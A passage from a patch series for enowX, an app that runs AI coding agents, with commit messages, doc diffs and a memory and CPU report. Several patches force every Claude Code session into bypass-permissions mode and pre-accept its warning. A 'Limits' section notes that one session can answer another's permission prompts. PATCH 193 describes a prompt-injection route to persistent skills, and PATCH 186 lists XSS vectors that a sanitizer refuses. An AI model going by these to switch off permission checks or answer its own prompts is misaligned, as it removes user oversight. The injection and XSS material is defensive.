neither asked for: switching to plan right after another switch ended in
bypass, and a Write ran where plan mode was asked.

Subject: [PATCH 162/222] Find Claude Platform's conversations where it keeps
 them

Run by hand it keeps them in a folder per working folder under its sessions
folder, and the reader only looked at the top, so the chat and the history
never found one.

Subject: [PATCH 163/222] Fix /clear's deadlock and what escapes the session's
 budget

Answering /clear after a burst had started a turn blocked the run loop on turnMu
and would have wiped the message. --continue with no conversation had no budget,
NaN and Inf parsed as budgets (and panicked in JSON), and --max-budget 0 read as
unset. Cut streams' usage and compactions weren't counted, compaction ran before
a refused budget, and a compaction with no summary retried each tool round.

Also bound retry-after, keep MCP images the API would refuse out of the history,
and answer the calls of the pause that ends a turn. A max_tokens answer of only
thinking stays as it is: nothing documents it as refused.

+A new conversation starts on `claude-opus-5-5`, effort `high`, and a budget of $10 per session: past that it asks before going on (`record.Default*`; `/budget` or `--max-budget` to change it, 0 for no limit). A conversation continued or resumed keeps its own, unless `--max-budget` says, and one with nothing to continue gets the default. Spending counts what a failed, cut or interrupted stream said so far, and compactions; compacting comes after the check, so a refused budget spends nothing more. A compaction that fails is tried once in a turn, and not again until the context has grown by a tenth.

Subject: [PATCH 164/222] Keep the prompt editor to its host, and let a
 too-long prompt reset

A save or reset answering after a host switch changed the new host's state, and a
file over 128 KB read as an error, with no way to reset it from the app. Long host
names now wrap. docs record what is left as it is, under Limits.

 **Remaining credit isn't shown:** an ordinary API key can't read it. The Console shows it, and the Admin API's cost report needs an admin key. The session's cost in dollars, at list prices, shows beside its budget.
 
+## Limits
+
+Known and left as they are:
+
+- **Any session can type into another.** `send` (enowX's `session.input`, the same for every agent) can put digits into this agent's terminal, so one session can answer another's permission prompt, or its own through a program it runs.
+- **A program of the same user can replace the system prompt file** in `agent-files/<session>/`, or the host's `system-prompt.md`, which the next start reads. Nothing here defends against the user's own programs.
+- **A link swapped at the last moment.** An edit is judged on where its path leads, again after hooks have run, and then written: a program racing to swap a link in the moments between that check and the write can still land the write through it. The files are not opened by a handle the check verified, which would need a different write path per platform.
+- **Reads of a command.** The path checks are of `Read`, `Glob`, `Grep`, `Write` and `Edit`: an allowed `Bash` command reads and writes whatever the user can, and a kept prefix like `make` runs what the project's files say.
+- **A process left over.** On Linux the agent's environment can't be read even by its daemon, so the reaping that finds a session's leftover processes by their environment doesn't find the agent itself; it ends with its terminal.

Subject: [PATCH 165/222] Collect at half the default heap growth

In the same use with GOGC=50, the app held 137 MB of private dirty memory rather than 160 and the daemon 146 rather than 169, at the same CPU (app 74.1% and 73.2%, daemon 5.3% and 5.2%). GOGC in the environment stands.

Subject: [PATCH 166/222] Ask an open canvas's page without waking the window

An open canvas asked its page what a link went to and how wide it is several times a second, each asking and each answer drawing a frame. The asking now runs without frames, and draws one only when the answer is news.

For `Bash` it keeps a prefix only of a few plainly bounded commands (`git status`, `diff`, `log`, `show`; `go test`, `build`, `vet`; `npm test`; `make`; `ls`; `pwd`), and those not with flags that run other programs or write elsewhere (`go test -exec`, `git diff --output`, `make -f` and more); any other command is kept exactly. Conversations from before this keep their broader rules. A file is attached by naming it only in the user's own message, not in what the model or a hook wrote.

+- **A hook can rewrite its call.** A user's hook that changes a command has the new one run, and a person asked to allow the call sees the new one. The call is judged by mode and rules as the model sent it.
 - **GOD of Agents** runs on it enforced by `tool.before` alone: it has no flag limiting its tools, and needs none, as every call goes by the daemon's answer first. GOA's lines reach it typed in when it is idle ([goa.md](goa.md)).
 - **Not offered:** rewinding from the chat and forking a session.

Since it obeys hooks fully the agent runs a rewritten command; its doc and a
test still said the call was refused, and the test failed. Also notes the
status line's counting seconds.

It has no hooks in its command line (`HookArgs` is nil), and it counts as reporting itself everywhere that matters: it is never marked done by a quiet screen, and "skip what nobody hears" doesn't apply. A tool event's command and paths are read as every agent's are (`hooks.ToolEvent`).
 - **Permission prompts** show on its screen and are answered by keys: `1` allow, `2` always, `3` or Esc deny.
-- **A hook can't rewrite its call.** A user's hook that changes a command refuses the call instead, naming the command to run, as for Codex when it would ask.
+- **A hook can rewrite its call.** A user's hook that changes a command has the changed command run, and asked about if it asks.
 - **GOD of Agents** runs on it enforced by `tool.before` alone: it has no flag limiting its tools, and needs none, as every call goes by the daemon's answer first. GOA's lines reach it typed in when it is idle ([goa.md](goa.md)).
 - **Not offered:** rewinding from the chat and forking a session.

Subject: [PATCH 171/222] Test Claude Platform end to end through the built
 program

The built enowxd serves its own socket from a home of the test's, against the
stand-in API: streaming, permission, questions, interrupts, resuming, modes,
MCP, the system prompt, GOD of Agents, failures, usage, budgets, and no key on
disk or a command line. Skipped under -short. The stand-in's script takes
"tool: NAME {input}" lines, for driving a session by hand.

A chat went on polling every 700 ms for as long as its session stayed in chat mode, shown or not, keeping all its conversation in the daemon. It now stops once it hasn't been drawn lately, and starts again when drawn.

Subject: [PATCH 175/222] Refuse a design whose document would grow past a
 budget

A 10 MB bundle could name a file or a known library hundreds of thousands of times, each one inlined whole, or chain CSS variables into gigabytes while its look was read, on the server teams share. What a document comes to is now worked out before it's made and refused past 32 MiB; a page's variables share a budget; and shapes, 3 bytes in a bundle and over 200 in memory, are counted before they're read. FrameDocument stays as it was for the user's own canvases.

Subject: [PATCH 176/222] Keep what a moderator took down from coming back

A trusted creator's version prepared before a takedown went live when submitted after it: uploading didn't look at the item, and neither update did. The API answers 410 now, and the store refuses too, in case the takedown lands between the two.

Subject: [PATCH 177/222] Test Claude Platform on a key the vault lent, with
 the real program

A hostile Bash call walks every process above it and finds no key, while the
API gets it on x-api-key alone. The end-to-end tests now find the agent by its
command line, as it keeps its /proc entries from its own user, and use commands
"always" can keep a prefix of.

Subject: [PATCH 179/222] Hold each account to its own limits when sending to
 the bucket

One account repeating a 4 MB PUT could spend the month's writes, after which the library refuses everyone, and bodies held open or many at once could take the server's memory. Puts and submits now have a limit a minute and two places at once per account, four places for what holds a bundle in memory, and 512 MiB a day per account, and a blocked account's upload stops where it stands. Kept in memory like the library's other limits; no migration.

Subject: [PATCH 182/222] Keep frames saying they moved from burying what
 people reported

Anyone can post that a preview escaped, of any design, and one open report per item doesn't stop a flood over many items or a report coming straight back after it's dismissed. An item now gets one every six hours, only while live, and moderators read them after what people reported.

Subject: [PATCH 183/222] Have another moderator decide on a moderator's own
 design

Approving your own design also makes your account trusted, and dismissing a report on it ends the only check left. The owner too: appointing one moderator is what it takes, so no exemption was needed.

Subject: [PATCH 184/222] Keep a first sign-in from taking a kept handle

The handle made from a GitHub login skipped the rules a chosen one goes through, so whoever signed in first as admin or support held it. The rules move to the API package, where the store can read them, and a login they refuse starts as creator-N.

Subject: [PATCH 185/222] Never type into the shell an agent leaves behind

An agent that exits at once leaves its fallback shell in the terminal, and its first
prompt, typed once the screen settled, went there, its words run as commands. Every
line enowX types now looks first: while the agent has ended nothing is typed, the
first prompt's session says so in its note, and a message sent gets an error.

 Agents run inside a small `/bin/sh` wrapper (PowerShell on Windows) that starts the login shell once the agent exits, so quitting it with Ctrl+C, or a failed sign-in, leaves a prompt in the same folder. The New session dialog's **Sign in** runs the command below in the project folder, which prints a link and a code to open on any device; this is what works on a server without a browser.
 
+What enowX types is for the agent, never for that shell, where its words would run as commands: a first prompt, a message, GOD of Agents' lines. Each is looked at just before it's written, and while the agent has ended nothing is typed: a first prompt's session says so in its note, and a message sent gets an error. An agent ending in the instant between the look and the write is the one case left. The user's own keys in the terminal always go through.

Subject: [PATCH 186/222] Walk a component as a browser reads it

The check's patterns missed <img/onerror=...>, <iframe srcdoc>, <a href=javascript:...> and their encoded and spaced forms, and people paste components into their own pages. It now parses the page and refuses event attributes, srcdoc, addresses that run, and elements that run or bring in another page.

Subject: [PATCH 187/222] Say a session's background agents live, and not as
 done or idle

The row gives each one's name, how long it has run, its CPU now and its memory, and
the state chip reads background while one runs. One that has used next to no CPU for
15 minutes reads as stuck. A CLI's own background service stays unseen, and the docs
say so.

Subject: [PATCH 188/222] Keep community text clean, capped and inside the
 label

A design's name and shapes' text reached hosts and commands as written, with newlines and at any length, and titles were printed beside the label rather than inside it, where they could pass for what enowX says. Format characters such as tag characters stayed in what the cloud keeps, in skills and in prompts. Names and text are now cleaned and capped whenever a bundle is read, on the cloud and on hosts; the two labels are one; and a copied canvas's output, a reference's credit and a skill's credit are inside the block.

Subject: [PATCH 189/222] Say what the app and daemon cost, and the path to
 under 100 MB

The floor, each area's cost, what each change saved, and the trade-offs left for the owner, with the script the numbers come from. Measured on Linux; a Mac's are for the owner to take with enowx-app profile.

+# Performance: what the app and the daemon hold and use
+
+The owner's target is the app and the daemon each under 100 MB at idle. This says what they cost, by area, what has been done, and the path that is left, each number marked by where it comes from. Figures here were measured on Linux; macOS's are the owner's to take with `enowx-app profile`, and none are claimed for it.
+
+## Measuring
+
+`enowx-app profile [--cpu SECONDS] [--json] [--out DIR]` measures the running daemon and the app attached to it, changing nothing and restarting nothing (`daemon.profile`). It also goes in a diagnostics bundle as `profile.txt`. It says:
+
+- **memory by the system's count.** On Linux: RSS, PSS, private dirty, private clean, shared clean, anonymous, swap, peak RSS, and the mappings by file. On macOS: RSS, and physical footprint with its regions, read from `vmmap --summary`, which stops the process for as long as it reads. Elsewhere: RSS.
+- **memory by Go's count.** Live heap, what spans hold, what is free but still held, what has been returned, stacks, and `sys`.
+- **which code holds the heap, and which allocates the most**, sampled, and the goroutines by code.
+- **what the program keeps**: terminals, chat views, conversations, pictures, sessions.
+- **what sessions' programs take**, by program with how many of each, MCP servers among them.
+- **CPU** over `--cpu N` seconds, and with `--out` pprof files for `go tool pprof`.
+
+`scripts/profile-scenario.sh BIN HOME` runs the same use on an isolated app and daemon on Xvfb and prints a line after each part. It starts them with `ENOWX_DEV=1`, whose driver (`ui/devdriver.go`) walks the pages without drawing anything off screen.
+
+### Reading the numbers
+
+- **RSS overstates what a program costs.** It counts clean file pages (code and libraries) that the system can drop at will, and counts shared ones in full. On Linux an empty window's RSS is 105 MB, of which 16 MB is its own dirty memory. **Private dirty is the nearest thing Linux has to macOS's footprint**, which also leaves out clean file pages, so that is the column to compare with the target. They aren't the same: footprint also counts compressed memory and GPU surfaces.
+- **`sys` in Go's numbers only rises, and it says little.** It is the address space Go ever took; memory given back stays counted in it (`released`). What Go holds from the system is `sys` minus `released`. A `sys` of 5,509 MB says that the heap once reached that far, not that it was still in use.
+- **`__TEXT` of 411 MB is address space, mostly clean.** Only pages touched are resident, and clean pages don't count in the footprint. The Linux builds measured here don't embed the servers' daemons, as a release does; that adds address space, and how much is resident on a Mac wasn't measured.
+- **CPU here is pessimistic for the app.** Under Xvfb it draws in software (`present` took 70 to 200 ms a frame, allocating about 11 MB each), which a GPU does for far less. Frame counts and the daemon's CPU carry over; the app's percentages don't.
+- **Host and load.** The host runs other sessions, with a load between 3 and 100 during these runs. Memory held up; CPU was compared only between runs at the same time.
+
+## The floor
+
+Measured on Linux x86-64 under Xvfb with llvmpipe, 25 to 60 s after starting, in MB. PSS varies with what else shares a binary, so it is the least comparable column.
+
+| What | RSS | PSS | Private dirty | Clean own | Shared clean |
+|---|---:|---:|---:|---:|---:|
+| Go program that sleeps | 1.9 | 1.9 | 0.7 | 1.2 | 0 |
+| Empty MyGo window | 104.7 | 68.2 | 16.2 | 38.7 | 45.8 |
+| v0.1.0 app, first public release, no sessions | 141.5 | 66.6 | 26.0 | 1.7 | 105.9 |
+| v0.6.2 app, shell with no sessions or pages | 197 | 125 | 64 | 30 | 99 |
+| This branch's app, the same | 190 | 129 | 56 | 36 | 94 |
+| v0.1.0 `enowxd`, no sessions | 13.5 | 12.0 | 2.1 | 9.9 | 1.5 |
+| This branch's `enowxd`, no sessions | 39.5 | 37.7 | 12.2 | 25.5 | 1.8 |
+| v0.1.0 `enowx daemon`, no sessions | 39.6 | 23.6 | 8.8 | 0.3 | 30.6 |
+| v0.6.2 `enowx daemon`, no sessions | 69 | 36 | 19 | 1 | 48 |
+| This branch's `enowx daemon`, the same | 65 | 40 | 16 | 1 | 48 |
+
+The empty window's RSS is mostly libraries: 49 MB of libLLVM and 9 MB of the Mesa driver, of which 6.5 MB is dirty. A Mac has neither. **So neither program is at its floor because of MyGo or Go: by private dirty, both are already well under 100 MB until they hold something.**
+
+Per thing, on this branch:
+
+| What | App, private dirty | Daemon, private dirty |
+|---|---:|---:|
+| An idle session | about 0.05 MB (no terminal until it shows) | 0.55 MB |
+| A session's full scrollback (10 MiB of its text) | about 10 to 13 MB while its terminal is attached, 0 otherwise | about 13 MB, outside Go, for as long as the session lasts |
+| A small canvas (3 designs, 20 KB each) | 2.6 MB once made | none measurable |
+
+Before lazy terminals, a full scrollback cost the app the same 10 to 13 MB for every session on the connected host, shown or not.
+
+## Where it goes, by area
+
+Same use each time: 3 agents with a stand-in program and a 30 MB conversation each, 20 terminal sessions, 5 of them with a full scrollback, 5 canvases of 6 designs with about 2,000 elements each, all pages walked, 3 chats and 6 terminals shown, then idle on a canvas for 3 minutes. Private dirty in MB.
+
+| Area | Who holds it | v0.6.2 | This branch | Left, and what would move it |
+|---|---|---:|---:|---|
+| Terminals | app, native | 10 to 13 per session attached, all of them | Those shown, and the 3 last shown | A smaller scrollback, or fewer kept |
+| Terminals | daemon, native | About 13 per full scrollback | The same | **The main cost left in the daemon:** a smaller scrollback |
+| A canvas's layers | app, Go heap | 100 to 150 at 2,000 elements (`widget.Running`, `layerRow`) | About 10: the first 200, the rest on asking | - |
+| Conversations | daemon, Go heap | About 28 per 30 MB of conversation shown, or of **any agent at work** | Only those a chat shows, for 2 minutes after | - |
+| Canvas pictures | app, Go heap | Up to 16 per picture, all kept for the open canvas | 64 at most | By construction and a unit test. Not measured in a real run: no picture was kept in these runs, as `canvas.render` didn't return one under Xvfb |
+| Go's slack | both, Go heap | About the live heap again, plus what a burst left | Half the live heap again, returned within 30 s when over 32 MiB | A hard limit, at a cost in CPU |
+| Libraries and code | both, clean | 50 to 130 of RSS, none of private dirty | The same | A separate daemon binary on desktops: 27 of RSS, none of footprint |
+| Package start-up | both, Go heap | A few MB (`iconlib`, `chroma`, regexps compiled at start) | The same | Not worth it against the rest |
+
+What sessions' programs take comes on top, and is usually the largest part of a host's memory: see [MCP servers](#mcp-servers).
+
+## What was done, with numbers
+
+Each row is a commit's effect, measured with the scenario above on builds of the commits in order, in the same conditions. Runs differ by 5 to 10 MB from noise alone, so a smaller change isn't evidence. "Canvas page" is right after opening that page; "3 min" is idle afterwards.
+
+| Step | Commit | App, canvas page | App, 3 min | Daemon, 3 min | Other measure |
+|---|---|---:|---:|---:|---|
+| v0.6.2 with `profile` | `a9b707b` | 289 | 351 | 173 | |
+| Terminals attach when shown, and go when not | `9ee584b` | 296 | 366 | 167 | App with 5 full scrollbacks, none shown: 126 → 65 |
+| A long page's layers on asking | `052c8dd` | 121 | 200 | 168 | Go heap on that page: 200 → 48 MB |
+| Conversations let go with no chat asking | `fdb5d36` | 127 | 170 | 171 | |
+| Memory returned, limit on the heap | `92fb3b6` | 126 | 164 | 178 | No clear change by itself: see below |
+| Restart plan: one look, and only when behind; watches; ports; own usage; conversation found without reading it | `a778438` to `1b5ae63` | 116 | 162 | 137 | Daemon's CPU with 20 idle sessions, see below |
+| No frame for looks that change nothing | `de6c1c6` | 115 | 160 | 169 | Frames, see below |
+| GOGC 50 | `95c3681` | 100 | 137 | 146 | CPU the same: app 74.1% and 73.2%, daemon 5.3% and 5.2% |
+| Open canvas asks without frames | `4bee637` | | | | App's CPU on an idle canvas page, 5 small canvases: 59.3% → 14.2% |
+| A chat polls only while on screen | `abcf5fe` | | | | Conversations held in the daemon, 4 minutes after 3 chats left the screen: 2 → 0, and with that the daemon at 3 min: 145 → 99 |
+| This branch, by `scripts/profile-scenario.sh` | | 101 | 168 | 99 | Daemon: Go heap 12 MB, of which conversations none |
+
+The daemon's 137 in one row and 169 in the next is noise of the kind above, from when a collection last ran: 62 MB had just been returned in the first. The last row's app has its canvas open with 2,000-element designs, its web view in the process, and software drawing's buffers.
+
+**Idle CPU**, % of a core, the two builds running at the same moment, under software drawing:
+
+| | v0.6.2 | This branch |
+|---|---:|---:|
+| App, empty, 30 s | 16.0 | 6.7 |
+| Daemon, empty, 30 s | 1.7 | 0.9 |
+| App, 20 idle sessions, 60 s | 19.0 | 9.8 |
+| Frames in those 60 s | 41 | 20 |
+| Daemon, 20 idle sessions, 60 s | 8.0 | 2.7 |
+| App, Canvas page open, 5 small canvases, 20 s | 65.9 | 14.2 |
+| Daemon, the same | 4.7 | 2.9 |
+| App's private dirty, Canvas page open | 112 | 83 |
+
+### Causes worth knowing
+
+- **Every app asked each host for a restart plan every 30 s**, daemon behind or not, and a plan looked at every process **once per terminal session**: half of what an idle daemon spent on Linux, and on macOS a `ps -A` per session. That burst every 30 s fits the bursty CPU the owner sees, though the Mac itself wasn't measured.
+- **Saving a session read its whole conversation.** Every 20 s while a screen changed, `saveHistories` asked for the conversation's file through the chat's reader, which read it in and counted as a chat asking. So every agent at work held all its conversation in the daemon for good. That is a likely part of the daemon's heap on the Mac (median 113 MB), not measured there.
+- **Every session was attached on connecting.** The app parsed all that every session printed, hidden or not.
+- **An open canvas woke the window several times a second** to ask its page two things, and each asking and each answer drew a frame.
+- **A chat polled for as long as its session stayed in chat mode**, on screen or not, every 700 ms each, which also kept its conversation in the daemon.
+- **The app listed every process of the machine** to learn its own RSS.
+
+The stand-in agents here don't print, so what agents at work cost isn't in these runs: the owner's 6-hour heap (median 377 MB, high 816) wasn't reproduced, only its likely causes, and the fixture's canvases are one case of them.
+
+## Returning memory to the system, GOMEMLIMIT and GC
+
+`core/memtune`, in the app and the daemon, leaves `GOMEMLIMIT` and `GOGC` to the environment when they're set. Otherwise:
+
+- **GOGC 50.** Saves 20 to 25 MB in each program at this use, with no CPU change that shows over the noise. GC went from about 0.12% of CPU to about 0.2%. The saving grows with the heap.
+- **GOMEMLIMIT 1 GiB.** Well above an ordinary heap, so it does nothing in ordinary use, and none of these runs reached it. It is for a burst such as the one behind a `sys` of 5,509 MB. Past it the runtime spends up to half the CPU collecting, so a heap that truly needs more runs slower rather than failing. A tighter one, 256 MB for instance, is the "hard limit" trade-off below.
+- **Returning free memory.** Every 30 s, if over 32 MiB is free and held, `debug.FreeOSMemory`. In these runs that changed nothing clear, as continuous drawing allocated it again at once; `TestFreeHeldFallsAfterABurst` shows 128 MiB going back after a burst. Its worth is after a burst on a window at rest, which the owner's Mac will show better than this host.
+
+## Evaluated
+
+| Idea | Result |
+|---|---|
+| Lazy loading of pages | **Built where it costs.** Pages are drawn, not kept, so walking them moved the heap by little, other than Canvas. What was loaded regardless of being shown was the terminals, now lazy. Package start-up is a few MB, not worth changing |
+| Unloading what is out of sight | **Built:** terminals after 3 minutes beyond the 3 last shown; the Canvas page's web view and pictures 2 minutes after leaving. **Not built:** one web view at a time. The Browser tool's and file tabs' web views stay per session until the session closes, and weren't measured |
+| Image LRU with a size limit | **Built:** canvas pictures, 64 MB. Team chat images already had a limit |
+| Scrollback on disk | **App: built in effect**, as its terminals only exist when shown. **Daemon: not built**, see trade-offs |
+| Events over polling | **Built for what polled for nothing:** the plan, watches, ports, the app's own usage, frames for looks, canvas asking. Left: the daemon's look at each session's screen (a session's activity every 150 ms at most, its prompts every 3 s, its model every 5 s), for which programs give no event, and and the daemon's whole CPU with 20 idle sessions is now 2.7% of a core on Linux |
+| One process sampler | **Built:** what only follows processes reuses the last look under 10 s old, a plan looks once, and the app looks only at itself. Left: `goa_watch` reads every process's environment per GOD of Agents session every 5 s |
+| Incremental transcripts | **Reading was already incremental.** The bug was reading at all, now fixed. Left: a chat's poll walks all entries of its conversation, harmless next to the rest. **Large message buffers aren't bounded yet**: a frame up to 256 MiB is read whole. Canvas pages and pictures need that, so a bound means streaming them |
+| Watchers of other hosts | **Built:** every 15 s focused, every minute without resource use unfocused, at once on coming back. Not measured, as these runs had one host, and no test covers it |
+| Auto-hibernate default | **Checked, not changed:** on, after 30 idle minutes, for agents done with their turn (`defaultHibernateAfter`). It frees the agent and its MCP servers. The session's scrollback stays in the daemon |
+| Shared or lazy MCP servers | **Not built**, see below |
+
+The other side of this, by another agent on `wip/syncmem`: `sync.conflicts`'s size and polling, `session.list`'s repeats, and reconnect backoff.
+
+## Path to under 100 MB
+
+By private dirty on Linux, which stands in for footprint.
+
+**App: around 100 MB at rest with what it held still kept, and under it fresh.** Fresh it holds 56; the heaviest use above, 168 with a canvas of 2,000-element designs open, three terminals kept, two of them with full scrollback, a web view in the process, and software drawing's buffers (about 15 MB of the heap and much of its garbage). Six minutes after leaving that page, at rest: **117**, with 67 in the Go heap's mapping and 26 of anonymous memory, mostly the terminals kept. About 13 of the heap is software drawing's, which a GPU doesn't need, so a Mac may well be under 100 there, though that is an estimate. Keeping one terminal rather than three takes off up to 26 more.
+
+**Daemon: under 100 MB until scrollback passes it, and only a smaller scrollback gets it there with many sessions.** 99 in the use above, 65 of it those 5 full scrollbacks. Fresh 16; each idle session adds 0.55; each full scrollback about 13. At 30 full sessions that is about 16 + 390, whatever else is done. That is the evidence of a floor at today's scrollback, and the reason for the first trade-off.
+
+### Trade-offs for the owner
+
+These change behaviour or carry risk, so they aren't built.
+
+| Step | Saves | Consequence |
+|---|---|---|
+| **Scrollback of 10 → 2 MiB** (`session.Scrollback`) | Measured in the daemon: 5 full sessions took 65 MB at 10 MiB and 10 MB at 2 MiB, so 11 MB per full session. 30 full sessions: from about 406 to about 76 MB | **The one with the most effect, and the only one that gets a many-session daemon under 100 MB.** A terminal keeps about a fifth as much history, so a long build's log is cut. Agents' chats aren't affected, being read from their transcripts |
+| Older scrollback kept on disk and read on scrolling up | The same, without losing history | Needs the terminal library to page rows in, which it doesn't offer; or replaying on attach, which costs the time and memory while attached. A larger piece of work |
+| Keep 1 terminal instead of 3 (`panesKept`) | Up to 26 MB in the app | Going back to a recent session takes attaching: a "Connecting…" flash and the time to replay its scrollback |
+| Free an idle or hibernated session's terminal | Its 13 MB or so | Needs saving and bringing back its screen exactly, which restarts do only approximately. Risk of a session looking wrong |
+| A hard `GOMEMLIMIT` such as 256 MB | Bounds Go's part | Past it, up to half the CPU goes on GC; a large canvas or a burst would feel slow. Not recommended above the plain limit until the Mac's numbers ask for it |
+| A separate `enowxd` for desktops' daemon | 27 MB of RSS measured here, none of footprint | The app ships two binaries, or one more file to update. Only worth it if RSS itself is the target |
+| Streaming canvas pages and pictures | Bounds what a 256 MiB frame takes | A protocol change, kept compatible |
+
+### MCP servers
+
+These are per session and not the app's or the daemon's, but on a busy host they dwarf both. On this host, read from `ps` and `smaps_rollup`: 50 MCP-like processes with 2,550 MB of RSS, one `firebase mcp` at 143.5 MB private dirty and one `coolify` at 43.3, each for each session using them, and `enowxd mcp`, enowX's own, at 7.9 private dirty.
+
+- **Sharing one per host**, through a proxy each session talks to, would save nearly all of that when many sessions run the same ones. But a server may depend on the session's folder, environment or account, may hold state per connection, and not all can serve several clients; each would have to be proven safe or kept apart. Sessions could lose access in ways that are hard to see.
+- **Starting on first use, stopping when idle**, again through a proxy, would save a server until it is used, and a tool list has to be known before that, so it would be cached. A first call pays the start, some seconds for `firebase`.
+- **Hibernating already frees them**, 30 minutes idle by default, with no change in behaviour. A shorter default is the cheap step: it costs a wake when going back to a session.
+
+The profile lists what sessions' programs take, so the owner can see what these would save on the Mac first.
+
+## Only the owner can measure
+
+- **Footprint on the Mac**: run `enowx-app profile --cpu 30` before and after updating, at the same kind of use, and again after hours. Check that `vmmap` answers there, as that path has never run (`pages_darwin.go`), and how much of `__TEXT` is resident.
+- **GPU memory and frames' real cost.** No GPU was involved here.
+- **Hours of use.** The longest run here was about 15 minutes. The Mac's growth over 6 hours and its 5,509 MB spike weren't reproduced.
+- **Real agents at work.** Here they were stand-ins.

Subject: [PATCH 190/222] Let one of a session's background agents be stopped,
 asking first

It goes with all it started and nothing else: its session and others in its
background stay. The session's menu asks with what is lost, and the CLI's
background command lists them and stops one, the user saying yes when an agent asks.

The session's menu has **Stop background agent**, one at a time, asking first with what is lost, and `enowx-app background stop`. Hibernate and updates don't name them yet, and GOA's board doesn't show them.
 
 **How they're found: the session's process tree, for any agent.** Every 15 seconds the daemon follows what each session started (`daemon/procs.go`); a process of it counts when its arguments name a preset's program (`agent.ProgramOf`), through an interpreter too (`node`, `bun`, `python`, `sh`), and it runs under another agent or left the tree. Its own agent doesn't count, nor a wrapper starting a binary of the same name, a server or a command, nor an agent's own MCP server. One that runs for under a look doesn't count, so a one-shot call isn't an alarm.

Subject: [PATCH 191/222] Show a worker's background agents on GOA's board, and
 tell GOA of them

GOA is told when one ends or has used next to no CPU for 15 minutes, as it may be
stuck, with how to end it.

Subject: [PATCH 192/222] Name background agents where hibernating or updating
 would stop them

They don't come back with their session, so what they haven't saved may be lost.
A session with one no longer hibernates on its own.

 **How they're found: the session's process tree, for any agent.** Every 15 seconds the daemon follows what each session started (`daemon/procs.go`); a process of it counts when its arguments name a preset's program (`agent.ProgramOf`), through an interpreter too (`node`, `bun`, `python`, `sh`), and it runs under another agent or left the tree. Its own agent doesn't count, nor a wrapper starting a binary of the same name, a server or a command, nor an agent's own MCP server. One that runs for under a look doesn't count, so a one-shot call isn't an alarm.

Subject: [PATCH 193/222] Keep a skill only by the user's click on a card

Agents load what's kept by themselves from then on, so an agent told to by a page it read could give every later session that page's words, with no step of the user's. The command and the MCP tool now only print, or ask: library.askSkill shows a card leading to the dialog links already open, and library.skill refuses to install for anything but the app, as library.publish does.

 - **Open in enowX** makes a new canvas with the one design and its files, a `Source` (item, version, creator, license, address) and the notice in its page. It stays as it is when the original changes or goes; the canvas says when a newer version is out. It needs the host signed in to its cloud.

Without `--install` the command only prints it.

Subject: [PATCH 197/222] Fix the CLI's background command and Codex's own
 session going unseen

The command was handed its own name as an argument. And a session's Codex carries
-c mcp_servers.enowx.* among its flags, which read as an MCP server, so nothing under
it counted as in its background; only the first word says that.

 **A view isn't analytics.** The website has no analytics or trackers, and this adds none: no script, cookie, pixel or beacon, and no outside call. Its server counts as it renders a design's page (`src/lib/views.ts`), leaving out robots, prefetching, a creator's own looks and moderators'. A salted hash of the item, the address and the browser's name, in that process's memory for 6 hours, keeps a reload from counting again; the salt and hashes then go, unwritten. Once a minute it sends `POST views` with how many per item and nothing else, so the cloud never hears of a person, and `library_stats` holds totals. These are coarse: a restart loses up to a minute, and a change of address counts again.
 
+Moderators don't decide on their own: approving a design, or dismissing a report on it, is another moderator's, the owner's designs included. A preview frame saying it moved reports a live item at most once in six hours, and those reports come after what people reported. What's taken down stays down: a version prepared before it answers 410, and the store refuses it too. Why a version was rejected is its creator's and moderators' alone.
+
 ## A moving design's video
 
-At publish, `library.publish` has the app render a design that moves, unless the form says not to, with `canvas.video` and `preview`: 6 seconds at most, 720 pixels wide, smaller than an export, left in no folder of the user's. It needs a serving app, a web view and ffmpeg: without them, or if it comes out too big, the design goes without one and nothing else changes.
+When a draft is prepared, `library.prepare` has the app render a design that moves, with `canvas.video` and `preview`: 6 seconds at most, 720 pixels wide, smaller than an export, left in no folder of the user's. It needs a serving app, a web view and ffmpeg: without them, or if it comes out too big, the design goes without one and nothing else changes.
 
 It's part `video`: 4 MiB, 15 seconds, only on a design that moves. The cloud reads the file's boxes (`designshare.CheckVideo`) and refuses anything but an MP4 of video tracks alone, so a preview can't carry sound. Like a picture it comes from the host: moderators see it in review, and a trusted account's isn't reviewed first.

Subject: [PATCH 201/222] Keep the library's links whole, and drop drafts
 nobody saved

Each handler opened its own Drafts, so the mutex guarded nothing. A form closed without saving left a whole packed design on the disk for good; they go after a week.

Subject: [PATCH 203/222] Keep what holds GOA whatever its config brings

A config's flags and variables come last at a start, so one could undo
GOA's tools, sandbox or OpenCode's config. GOA takes only its model and
effort flags and no variable it is held by. The fallback to another agent
would have started it as a plain session on any agent: refused. A config
no longer drops the permission mode GOA runs in.

Subject: [PATCH 204/222] Change GOA's agent or config on the daemon

goa.switch restarts GOA in its own session, so its tabs, board, collection
and waiting lines stay and its workers never notice. Another config goes
on with the same conversation, checked before GOA stops; another agent
starts a new one, once told so. What only shows by ending puts it back as
it was. Lines wait while it changes, none going to the agent on its way
out. GOA can't change itself: that would end the turn asking.

Subject: [PATCH 205/222] Change GOA's agent or config from the command line
 and over MCP

`goa switch` and goa_switch say what GOA runs on and change it, naming the
yes a change needs. Asked by an agent the user says yes first; in GOA's own
session it only reads, and GOA isn't offered the tool.

Subject: [PATCH 206/222] Run every Claude Code session in bypass, whatever was
 asked or saved

A session hibernated and woken by goa delegate came back in auto mode: it
started asking, so its restart carried only the flag allowing bypass and took
Claude Code's own default mode, and a session switched to bypass had that mode
dropped from its restart. Preset.Argv now holds the rule for every command line
enowX builds, new, spawn, delegate, resume, continue, wake, fork, tabs, import
and restore, and drops any mode named. keepBypass has the record say the same,
so a record of an earlier daemon comes back in bypass, and an agent run by hand
in a terminal comes back so too, a command an earlier daemon noted included.

As root Claude Code refuses bypass: the session starts asking and its note says
so. An agent taking over from Claude Code doesn't inherit the mode.

Subject: [PATCH 207/222] Accept Claude Code's bypass warning in the settings
 it starts with

On a home that never saw it, a session started in bypass stops at a warning whose
first answer exits, so the rule would fail on every new host and account, and a
prompt typed in would answer it no. Passed in the one --settings enowX gives it, as
Claude Code takes only the last when repeated; nothing is written to the user's files.

Subject: [PATCH 208/222] Land session_switch on its mode without passing
 through plan mode

Switching pressed Shift+Tab a fixed number of times, watching a screen that might
not have redrawn: a late redraw, or a mode not in the cycle as bypass isn't for a
session started without it, left the session wherever the presses ended, plan mode
included. Claude Code's cycle has plan just before bypass and it has no other way to
change mode as it runs, so what would go through plan now starts again on its
conversation in that mode, if its agent is at rest and nothing it runs would stop;
the rule's bypass stays what it comes back in after. Each key waits for the screen,
no key goes to a screen that doesn't say its mode, and the call says how it ended.

